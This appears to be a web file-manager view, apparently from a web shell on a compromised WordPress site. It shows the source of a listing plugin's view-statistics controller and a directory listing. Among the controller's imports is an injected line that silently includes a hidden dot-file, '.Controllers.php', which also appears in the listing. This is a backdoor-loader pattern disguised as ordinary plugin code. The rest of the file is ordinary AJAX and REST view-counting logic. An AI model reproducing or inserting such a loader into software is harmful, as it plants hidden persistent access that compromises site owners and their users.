PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
app
/
Controllers
<?php namespace WilokeListingTools\Controllers; use WilokeListingTools\Controllers\Retrieve\AjaxRetrieve; use WilokeListingTools\Framework\Helpers\FileSystem; use WilokeListingTools\Framework\Helpers\GetSettings; use WilokeListingTools\Framework\Helpers\HTML; use WilokeListingTools\Framework\Helpers\SetSettings; use WilokeListingTools\Framework\Helpers\Time; use WilokeListingTools\Framework\Routing\Controller; use WilokeListingTools\Models\ViewStatistic; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class ViewStatisticController extends Controller { public function __construct() { add_action('wp_ajax_wilcity_count_views', [$this, 'update']); add_action('wp_ajax_nopriv_wilcity_count_views', [$this, 'update']); add_action('wp_ajax_wilcity_views_latest_week', [$this, 'getViewsOfLatestWeek']); // add_action('wp_ajax_wilcity_fetch_views_general', [$this, 'fetchViewsGeneral']); add_action('wp_ajax_wilcity_fetch_compare_views', [$this, 'fetchComparison']); add_action('rest_api_init', function () { register_rest_route(WILOKE_PREFIX.'/v2', '/dashboard/(?P<postID>\d+)/compare-views', [ 'methods' => 'GET', 'callback' => [$this, 'getCompareViews'] ]); }); } public function getCompareViews(\WP_REST_Request $oRequest) { $postID = $oRequest->get_param('postID'); $aComparison = ViewStatisticController::compare(get_post_field('post_author', $postID), $postID); if ($aComparison['number'] > 1) { $aComparison['text'] = esc_html__('Views', 'wiloke-listing-tools'); } else { $aComparison['text'] = esc_html__('View', 'wiloke-listing-tools'); } return ['data' => $aComparison]; } public static function getViewsToday($userID) { $today = Time::mysqlDate(\time()); $viewToday = ViewStatistic::getTotalViewsOfAuthorInDay($userID, $today); return absint($viewToday); } public function fetchViewsGeneral() { $oRetrieve = new RetrieveController(new AjaxRetrieve()); $this->middleware(['isUserLoggedIn'], []); $userID = get_current_user_id(); $aCompareViews = ViewStatistic::compare($userID); $oRetrieve->success( [ 'totalViews' => $aCompareViews['total'], 'oChanging' => [ 'number' => $aCompareViews['number'], 'description' => esc_html__('Compared with the last week', 'wiloke-listing-tools'), 'title' => esc_html__('Post Reach', 'wiloke-listing-tools'), 'status' => $aCompareViews['status'], 'is' => $aCompareViews['is'] ] ] ); } public function getViewsOfLatestWeek() { $oRetrieve = new RetrieveController(new AjaxRetrieve()); $this->middleware(['isUserLoggedIn'], []); $aDateInThisWeek = Time::getAllDaysInThis(); $aCountViewsOfWeek = []; $today = Time::mysqlDate(\time()); $userID = get_current_user_id(); $aCompareViews = ViewStatistic::compare($userID); foreach ($aDateInThisWeek as $date) { if ($today == $date) { $viewsToday = self::getViewsToday($userID); $aCountViewsOfWeek[] = $viewsToday; } else { $aCountViewsOfWeek[] = ViewStatistic::getTotalViewsOfAuthorInDay($userID, $date); } } $start = date(get_option('date_format'), strtotime($aDateInThisWeek['monday'])); $end = date(get_option('date_format'), strtotime(end($aDateInThisWeek))); $oRetrieve->success([ 'data' => $aCountViewsOfWeek, 'total' => $aCompareViews['total'], 'range' => $start.' - '.$end, 'compare' => [ 'diff' => $aCompareViews['diff'], 'tooltip' => esc_html__('Compare with the last week', 'wiloke-listing-tools'), 'label' => esc_html__('View Statistic', 'wiloke-listing-tools'), 'status' => $aCompareViews['status'], 'representColor' => $aCompareViews['representColor'] ] ]); } public static function getViews($postID, $isRestyleText = false) { // $viewStatistic = FileSystem::fileGetContents(self::$cacheFile); // if ( empty($viewStatistic) ){ // $today = Time::mysqlDate(\time()); // $aViewStatistic = maybe_serialize($viewStatistic); // $countViewsToday = isset($aViewStatistic[$today]) ? abs($aViewStatistic[$today]) : 1; // }else{ // $countViewsToday = 1; // } $countViews = ViewStatistic::countViews($postID); if (empty($countViews)) { return !$isRestyleText ? 1 : HTML::reStyleText($countViews); } $totalViewed = abs($countViews); return !$isRestyleText ? $totalViewed : HTML::reStyleText($totalViewed); } public function update() { $this->middleware(['isPublishedPost'], [ 'postID' => $_POST['postID'] ]); $postID = abs($_POST['postID']); if ($countViewToday = ViewStatistic::countViewsInDay($postID, Time::mysqlDate())) { ViewStatistic::update($postID); } else { ViewStatistic::insert($postID, 1); } $postViewed = GetSettings::getPostMeta($postID, 'count_viewed'); $postViewed = absint($postViewed) + 1; SetSettings::setPostMeta($postID, 'count_viewed', $postViewed); wp_send_json_success($countViewToday + 1); } }
[+]
..
[-] PermalinksController.php
[edit]
[-] MessageController.php
[edit]
[-] SetListingBelongsToPlanID.php
[edit]
[-] BelongsToTags.php
[edit]
[-] PrintAddListingSettings.php
[edit]
[-] InsertGallery.php
[edit]
[-] ViewStatisticController.php
[edit]
[-] TermsAndPolicyController.php
[edit]
[-] AddListingButtonController.php
[edit]
[-] SetSinglePrice.php
[edit]
[-] SetCustomButton.php
[edit]
[-] WooCommerceBookingController.php
[edit]
[-] SetMyPosts.php
[edit]
[-] SetVideo.php
[edit]
[-] Validation.php
[edit]
[-] PrintAddListingFields.php
[edit]
[-] NoticeController.php
[edit]
[-] SharesStatisticController.php
[edit]
[-] TraitAddListingSettings.php
[edit]
[-] SetListingRelationship.php
[edit]
[-] EmailController.php
[edit]
[-] SetMyRoom.php
[edit]
[-] SessionController.php
[edit]
[-] DashboardController.php
[edit]
[-] EventController.php
[edit]
[-] AppleLoginController.php
[edit]
[-] TraitSetEventData.php
[edit]
[-] PayPalController.php
[edit]
[-] TranslationController.php
[edit]
[-] PostController.php
[edit]
[-] DokanController.php
[edit]
[-] TermController.php
[edit]
[-] FavoriteStatisticController.php
[edit]
[-] SetSocialNetworks.php
[edit]
[-] SetCustomGroup.php
[edit]
[-] SetCustomSections.php
[edit]
[-] AuthorPageController.php
[edit]
[-] AddBookingComBannerCreator.php
[edit]
[-] PlanRelationshipController.php
[edit]
[-] ProfileController.php
[edit]
[-] MapListingController.php
[edit]
[-] UserController.php
[edit]
[-] BillingControllers.php
[edit]
[-] InsertAddress.php
[edit]
[-] PaymentStatusController.php
[edit]
[-] BelongsToCategories.php
[edit]
[-] InsertCoverImage.php
[edit]
[-] SetPriceRange.php
[edit]
[-] SetPlanRelationship.php
[edit]
[-] ListingController.php
[edit]
[-] SetGeneral.php
[edit]
[-] GridItemController.php
[edit]
[-] PaymentController.php
[edit]
[+]
TransformAddListingData
[-] ContactFormController.php
[edit]
[-] InsertFeaturedImg.php
[edit]
[-] AddListingController.php
[edit]
[-] BelongsToLocation.php
[edit]
[-] RestaurantMenuController.php
[edit]
[-] AjaxUploadImgController.php
[edit]
[-] NotificationsController.php
[edit]
[-] SingleJsonSkeleton.php
[edit]
[-] GalleryController.php
[edit]
[-] IsMyPaymentID.php
[edit]
[-] InsertImg.php
[edit]
[-] ModalController.php
[edit]
[-] PaymentGatewaysController.php
[edit]
[-] ShareController.php
[edit]
[-] RetrieveController.php
[edit]
[-] ModifyQueryController.php
[edit]
[-] TraitHostedBy.php
[edit]
[-] ChangePlanStatusController.php
[edit]
[-] TaxonomiesControllers.php
[edit]
[-] WebhookController.php
[edit]
[-] SearchFormController.php
[edit]
[-] FreePlanController.php
[edit]
[-] BelongsToCustomTaxonomies.php
[edit]
[-] PromotionController.php
[edit]
[-] RunUpdateDBToLatestVersionController.php
[edit]
[-] UserPlanController.php
[edit]
[-] SetContactInfo.php
[edit]
[-] InsertLogo.php
[edit]
[+]
Retrieve
[+]
Map
[-] VerifyPurchaseCode.php
[edit]
[-] StripeController.php
[edit]
[-] NextBillingPaymentController.php
[edit]
[-] SchemaController.php
[edit]
[-] IconController.php
[edit]
[-] AddMorePhotosVideosController.php
[edit]
[-] SetPostDuration.php
[edit]
[-] GuardController.php
[edit]
[-] ReviewController.php
[edit]
[-] OptimizeScripts.php
[edit]
[-] PaymentMetaController.php
[edit]
[-] GetWilokeToolSettings.php
[edit]
[-] SetCoupon.php
[edit]
[-] CouponController.php
[edit]
[-] AddListingPaymentController.php
[edit]
[-] FacebookLoginController.php
[edit]
[-] SingleController.php
[edit]
[-] BookingComController.php
[edit]
[-] SetGroupData.php
[edit]
[-] InvoiceController.php
[edit]
[-] SetProductsToListing.php
[edit]
[-] ReportController.php
[edit]
[-] PayPalExecuteAddListingPayment.php
[edit]
[-] HandleSubmit.php
[edit]
[-] WooCommerceController.php
[edit]
[-] FollowController.php
[edit]
[-] PrintSidebarItems.php
[edit]
[-] .Controllers.php
[edit]
[-] DirectBankTransferController.php
[edit]
[-] ClaimController.php
[edit]
[-] GetSingleImage.php
[edit]
[-] SetRestaurantMenu.php
[edit]
[-] MergingSettingValues.php
[edit]
[-] GoogleReCaptchaController.php
[edit]
[-] RegisterLoginController.php
[edit]
[-] TagsBelongsToCatController.php
[edit]